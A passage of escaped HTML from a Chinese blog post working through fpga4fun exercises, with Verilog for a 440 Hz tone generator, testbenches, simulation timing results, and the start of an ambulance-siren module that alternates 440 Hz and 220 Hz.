operator\"\u003e\u0026lt;\u003c/span\u003e \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token number\"\u003e16\u0026#39;b0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e \u003cspan class=\"token keyword\"\u003eelse\u003c/span\u003e counter \u003cspan class=\"token operator\"\u003e\u0026lt;\u003c/span\u003e \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e counter \u003cspan class=\"token operator\"\u003e+\u003c/span\u003e \u003cspan class=\"token number\"\u003e1\u0026#39;b1\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token important\"\u003ealways @\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token keyword\"\u003eposedge\u003c/span\u003e clk \u003cspan class=\"token keyword\"\u003eor\u003c/span\u003e \u003cspan class=\"token keyword\"\u003enegedge\u003c/span\u003e rst\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e \u003cspan class=\"token function\"\u003eif\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003erst \u003cspan class=\"token operator\"\u003e==\u003c/span\u003e \u003cspan class=\"token number\"\u003e1\u0026#39;b0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e speaker \u003cspan class=\"token operator\"\u003e\u0026lt;\u003c/span\u003e \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token number\"\u003e1\u0026#39;b0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e \u003cspan class=\"token keyword\"\u003eelse\u003c/span\u003e \u003cspan class=\"token function\"\u003eif\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003ecounter \u003cspan class=\"token operator\"\u003e==\u003c/span\u003e \u003cspan class=\"token number\"\u003e16\u0026#39;d56817\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e speaker \u003cspan class=\"token operator\"\u003e\u0026lt;\u003c/span\u003e \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token operator\"\u003e~\u003c/span\u003espeaker\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e \u003cspan class=\"token keyword\"\u003eelse\u003c/span\u003e speaker \u003cspan class=\"token operator\"\u003e\u0026lt;\u003c/span\u003e \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e speaker\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token keyword\"\u003eendmodule\u003c/span\u003e\u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003cp\u003e仿真验证,\u003ccode\u003eTestbench\u003c/code\u003e 代码\u003c/p\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-verilog\" data-language=\"verilog\"\u003e\u003ccode class=\"language-verilog\"\u003e\u003cspan class=\"token comment\"\u003e// tb_music.v\u003c/span\u003e\u003cspan class=\"token constant\"\u003e`timescale\u003c/span\u003e \u003cspan class=\"token number\"\u003e1\u003c/span\u003ens\u003cspan class=\"token operator\"\u003e/\u003c/span\u003e\u003cspan class=\"token number\"\u003e1\u003c/span\u003ens\u003cspan class=\"token keyword\"\u003emodule\u003c/span\u003e \u003cspan class=\"token function\"\u003etb_music\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token keyword\"\u003ereg\u003c/span\u003e clk\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token keyword\"\u003ereg\u003c/span\u003e rst\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token keyword\"\u003ewire\u003c/span\u003e speaker\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token keyword\"\u003einitial\u003c/span\u003e \u003cspan class=\"token keyword\"\u003ebegin\u003c/span\u003e clk \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token number\"\u003e1\u0026#39;b0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e rst \u003cspan class=\"token operator\"\u003e\u0026lt;\u003c/span\u003e \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token number\"\u003e1\u0026#39;b0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e \u003cspan class=\"token number\"\u003e#20\u003c/span\u003e rst \u003cspan class=\"token operator\"\u003e\u0026lt;\u003c/span\u003e \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token number\"\u003e1\u0026#39;b1\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token keyword\"\u003eend\u003c/span\u003e\u003cspan class=\"token important\"\u003ealways\u003c/span\u003e \u003cspan class=\"token number\"\u003e#10\u003c/span\u003e clk \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token operator\"\u003e~\u003c/span\u003eclk\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003emusic music_inst\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e.\u003c/span\u003eclk \u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003eclk\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e.\u003c/span\u003erst \u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003erst\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e.\u003c/span\u003espeaker \u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003espeaker\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token keyword\"\u003eendmodule\u003c/span\u003e\u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003ch4 id=\"仿真结果\"\u003e\u003ca href=\"http://http//blog.ksfu.top/posts/f804/#%E4%BB%BF%E7%9C%9F%E7%BB%93%E6%9E%9C\" class=\"headerlink\" title=\"仿真结果\"\u003e\u003c/a\u003e仿真结果\u003c/h4\u003e\u003cp\u003e\u003cimg src=\"https://yun.ksfu.top/blog/fpga4fun/0.png\" alt=\"0\"/\u003e\u003c/p\u003e\u003cp\u003e占空比 $4545450-3409090=1136360$ $3409090-2272730=1136360$ ,可以看出占空比确实为50% \u003c/p\u003e\u003cp\u003e频率 $\\frac{1}{4545450-2272730}\\times10^9=440Hz$\u003c/p\u003e\u003cp\u003e)因为我莫得喇叭,就先不上板子了……\u003c/p\u003e\u003chr/\u003e\u003cp\u003e\u003cdel\u003e剩下的等我学完……\u003c/del\u003e 下面的再更新一下 \u003cspan class=\"bella_beijixing\"\u003e\u003c/span\u003e\u003c/p\u003e\u003ch3 id=\"添加参数\"\u003e\u003ca href=\"http://http//blog.ksfu.top/posts/f804/#%E6%B7%BB%E5%8A%A0%E5%8F%82%E6%95%B0\" class=\"headerlink\" title=\"添加参数\"\u003e\u003c/a\u003e添加参数\u003c/h3\u003e\u003cp\u003e添加了一个名字叫 \u003ccode\u003eclkdivider\u003c/code\u003e 的参数,方便之后的修改。\u003c/p\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-verilog\" data-language=\"verilog\"\u003e\u003ccode class=\"language-verilog\"\u003e\u003cspan class=\"token comment\"\u003e// music.v\u003c/span\u003e\u003cspan class=\"token keyword\"\u003emodule\u003c/span\u003e music #\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e \u003cspan class=\"token keyword\"\u003eparameter\u003c/span\u003e clkdivider \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token number\"\u003e50000000\u003c/span\u003e\u003cspan class=\"token operator\"\u003e/\u003c/span\u003e\u003cspan class=\"token number\"\u003e440\u003c/span\u003e\u003cspan class=\"token operator\"\u003e/\u003c/span\u003e\u003cspan class=\"token number\"\u003e2\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e \u003cspan class=\"token keyword\"\u003einput\u003c/span\u003e \u003cspan class=\"token keyword\"\u003ewire\u003c/span\u003e clk\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token keyword\"\u003einput\u003c/span\u003e \u003cspan class=\"token keyword\"\u003ewire\u003c/span\u003e rst\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token keyword\"\u003eoutput\u003c/span\u003e \u003cspan class=\"token keyword\"\u003ereg\u003c/span\u003e speaker\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token keyword\"\u003ereg\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e15\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e\u003cspan class=\"token number\"\u003e0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e counter\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token important\"\u003ealways @\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token keyword\"\u003eposedge\u003c/span\u003e clk \u003cspan class=\"token keyword\"\u003eor\u003c/span\u003e \u003cspan class=\"token keyword\"\u003enegedge\u003c/span\u003e rst\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e \u003cspan class=\"token function\"\u003eif\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003erst \u003cspan class=\"token operator\"\u003e==\u003c/span\u003e \u003cspan class=\"token number\"\u003e1\u0026#39;b0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e counter \u003cspan class=\"token operator\"\u003e\u0026lt;=\u003c/span\u003e \u003cspan class=\"token number\"\u003e16\u0026#39;b0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e \u003cspan class=\"token keyword\"\u003eelse\u003c/span\u003e \u003cspan class=\"token function\"\u003eif\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003ecounter \u003cspan class=\"token operator\"\u003e==\u003c/span\u003e clkdivider\u003cspan class=\"token operator\"\u003e-\u003c/span\u003e\u003cspan class=\"token number\"\u003e1\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e counter \u003cspan class=\"token operator\"\u003e\u0026lt;=\u003c/span\u003e \u003cspan class=\"token number\"\u003e16\u0026#39;b0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e \u003cspan class=\"token keyword\"\u003eelse\u003c/span\u003e counter \u003cspan class=\"token operator\"\u003e\u0026lt;=\u003c/span\u003e counter \u003cspan class=\"token operator\"\u003e+\u003c/span\u003e \u003cspan class=\"token number\"\u003e1\u0026#39;b1\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token important\"\u003ealways @\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token keyword\"\u003eposedge\u003c/span\u003e clk \u003cspan class=\"token keyword\"\u003eor\u003c/span\u003e \u003cspan class=\"token keyword\"\u003enegedge\u003c/span\u003e rst\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e \u003cspan class=\"token function\"\u003eif\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003erst \u003cspan class=\"token operator\"\u003e==\u003c/span\u003e \u003cspan class=\"token number\"\u003e1\u0026#39;b0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e speaker \u003cspan class=\"token operator\"\u003e\u0026lt;=\u003c/span\u003e \u003cspan class=\"token number\"\u003e1\u0026#39;b0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e \u003cspan class=\"token keyword\"\u003eelse\u003c/span\u003e \u003cspan class=\"token function\"\u003eif\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003ecounter \u003cspan class=\"token operator\"\u003e==\u003c/span\u003e clkdivider\u003cspan class=\"token operator\"\u003e-\u003c/span\u003e\u003cspan class=\"token number\"\u003e1\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e speaker \u003cspan class=\"token operator\"\u003e\u0026lt;=\u003c/span\u003e \u003cspan class=\"token operator\"\u003e~\u003c/span\u003espeaker\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e \u003cspan class=\"token keyword\"\u003eelse\u003c/span\u003e speaker \u003cspan class=\"token operator\"\u003e\u0026lt;=\u003c/span\u003e speaker\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token keyword\"\u003eendmodule\u003c/span\u003e\u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-verilog\" data-language=\"verilog\"\u003e\u003ccode class=\"language-verilog\"\u003e\u003cspan class=\"token comment\"\u003e// testbench.v\u003c/span\u003e\u003cspan class=\"token constant\"\u003e`timescale\u003c/span\u003e \u003cspan class=\"token number\"\u003e1\u003c/span\u003ens\u003cspan class=\"token operator\"\u003e/\u003c/span\u003e\u003cspan class=\"token number\"\u003e1\u003c/span\u003ens\u003cspan class=\"token keyword\"\u003emodule\u003c/span\u003e \u003cspan class=\"token function\"\u003etb_music\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token keyword\"\u003ereg\u003c/span\u003e clk\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token keyword\"\u003ereg\u003c/span\u003e rst\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token keyword\"\u003ewire\u003c/span\u003e speaker\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token keyword\"\u003eparameter\u003c/span\u003e clkdivider \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token number\"\u003e50000000\u003c/span\u003e\u003cspan class=\"token operator\"\u003e/\u003c/span\u003e\u003cspan class=\"token number\"\u003e440\u003c/span\u003e\u003cspan class=\"token operator\"\u003e/\u003c/span\u003e\u003cspan class=\"token number\"\u003e2\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token keyword\"\u003einitial\u003c/span\u003e \u003cspan class=\"token keyword\"\u003ebegin\u003c/span\u003e clk \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token number\"\u003e1\u0026#39;b0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e rst \u003cspan class=\"token operator\"\u003e\u0026lt;=\u003c/span\u003e \u003cspan class=\"token number\"\u003e1\u0026#39;b0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e \u003cspan class=\"token number\"\u003e#20\u003c/span\u003e rst \u003cspan class=\"token operator\"\u003e\u0026lt;=\u003c/span\u003e \u003cspan class=\"token number\"\u003e1\u0026#39;b1\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token keyword\"\u003eend\u003c/span\u003e\u003cspan class=\"token important\"\u003ealways\u003c/span\u003e \u003cspan class=\"token number\"\u003e#10\u003c/span\u003e clk \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token operator\"\u003e~\u003c/span\u003eclk\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003emusic #\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e.\u003c/span\u003e\u003cspan class=\"token function\"\u003eclkdivider\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003eclkdivider\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003emusic_inst \u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e.\u003c/span\u003eclk \u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003eclk\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e.\u003c/span\u003erst \u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003erst\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e.\u003c/span\u003espeaker \u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003espeaker\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token keyword\"\u003eendmodule\u003c/span\u003e\u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003ch2 id=\"Music-box-2-Ambulance-siren\"\u003e\u003ca href=\"http://http//blog.ksfu.top/posts/f804/#Music-box-2-Ambulance-siren\" class=\"headerlink\" title=\"Music box 2 - Ambulance siren\"\u003e\u003c/a\u003eMusic box 2 - Ambulance siren\u003c/h2\u003e\u003cp\u003e这次在两种音调之间交替。首先使用24位计数器 \u003ccode\u003etone\u003c/code\u003e 来产生一个缓慢的方波,其最高位(MSB)以1.5Hz的频率进行切换。然后我们在这两个频率之间切换另一个计数器。这样就发出了类似救护车警报一类的声音。\u003c/p\u003e\u003cp\u003e先产生一个1.5Hz的信号 \u003ccode\u003etone\u003c/code\u003e ,此时计数器 \u003ccode\u003ecounter\u003c/code\u003e 为向下计数,当 \u003ccode\u003ecounter\u003c/code\u003e 为0时,如果 \u003ccode\u003etone\u003c/code\u003e 为1,继续产生440Hz的信号,当 \u003ccode\u003etone\u003c/code\u003e 为0时,产生220Hz。这两个频率的信号以1.5Hz的频率交替出现。\u003c/p\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-verilog\" data-language=\"verilog\"\u003e\u003ccode class=\"language-verilog\"\u003e\u003cspan class=\"token comment\"\u003e// ambulance.v\u003c/span\u003e\u003cspan class=\"token keyword\"\u003emodule\u003c/span\u003e music #\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e \u003cspan class=\"token keyword\"\u003eparameter\u003c/span\u003e clkdivider \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token number\"\u003e50000000\u003c/span\u003e\u003cspan class=\"token operator\"\u003e/\u003c/span\u003e\u003cspan class=\"token number\"\u003e440\u003c/span\u003e\u003cspan class=\"token operator\"\u003e/\u003c/span\u003e\u003cspan class=\"token number\"\u003e2\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e \u003cspan class=\"token keyword\"\u003einput\u003c/span\u003e \u003cspan class=\"token keyword\"\u003ewire\u003c/span\u003e clk\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token keyword\"\u003einput\u003c/span\u003e \u003cspan class=\"token keyword\"\u003ewire\u003c/span\u003e rst\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token keyword\"\u003eoutput\u003c/span\u003e \u003cspan class=\"token keyword\"\u003ereg\u003c/span\u003e speaker\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token comment\"\u003e// MSB 1.5Hz变动一次\u003c/span\u003e\u003cspan class=\"token keyword\"\u003ereg\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e24\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e\u003cspan class=\"token number\"\u003e0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e tone\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token important\"\u003ealways @\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token keyword\"\u003eposedge\u003c/span\u003e clk \u003cspan class=\"token keyword\"\u003eor\u003c/span\u003e \u003cspan class=\"token keyword\"\u003enegedge\u003c/span\u003e rst\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e \u003cspan class=\"token function\"\u003eif\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003erst \u003cspan class=\"token operator\"\u003e==\u003c/span\u003e \u003cspan class=\"token number\"\u003e1\u0026#39;b0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e tone \u003cspan class=\"token operator\"\u003e\u0026lt;=\u003c/span\u003e \u003cspan class=\"token number\"\u003e25\u0026#39;b0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e \u003cspan class=\"token keyword\"\u003eelse\u003c/span\u003e tone \u003cspan class=\"token operator\"\u003e\u0026lt;=\u003c/span\u003e tone\u003cspan class=\"token operator\"\u003e+\u003c/span\u003e\u003cspan class=\"token number\"\u003e1\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token keyword\"\u003ereg\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e15\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e\u003cspan class=\"token number\"\u003e0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e counter\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token important\"\u003ealways @\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token keyword\"\u003eposedge\u003c/span\u003e clk \u003cspan class=\"token keyword\"\u003eor\u003c/span\u003e \u003cspan class=\"token keyword\"\u003enegedge\u003c/span\u003e rst\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e \u003cspan class=\"token function\"\u003eif\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003erst \u003cspan class=\"token operator\"\u003e==\u003c/span\u003e \u003cspan class=\"token number\"\u003e1\u0026#39;b0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e counter \u003cspan class=\"token operator\"\u003e\u0026lt;=\u003c/span\u003e \u003cspan class=\"token number\"\u003e16\u0026#39;b0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e \u003cspan class=\"token comment\"\u003e// 计数器为0,说明当前频率已产生完毕,切换下一个\u003c/span\u003e \u003cspan class=\"token keyword\"\u003eelse\u003c/span\u003e \u003cspan class=\"token function\"\u003eif\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003ecounter \u003cspan class=\"token operator\"\u003e==\u003c/span\u003e \u003cspan class=\"token number\"\u003e0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e \u003cspan class=\"token comment\"\u003e// 根据tone的MSB是否有值来确定\u003c/span\u003e \u003cspan class=\"token comment\"\u003e// 如果tone的MSB为0,则切换为220Hz的声音\u003c/span\u003e \u003cspan class=\"token comment\"\u003e// 如果tone的MSB为1,则切换为440Hz的声音\u003c/span\u003e counter \u003cspan class=\"token operator\"\u003e\u0026lt;=\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003etone\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e24\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e\u003cspan class=\"token operator\"\u003e?\u003c/span\u003eclkdivider\u003cspan class=\"token operator\"\u003e-\u003c/span\u003e\u003cspan class=\"token number\"\u003e1\u003c/span\u003e 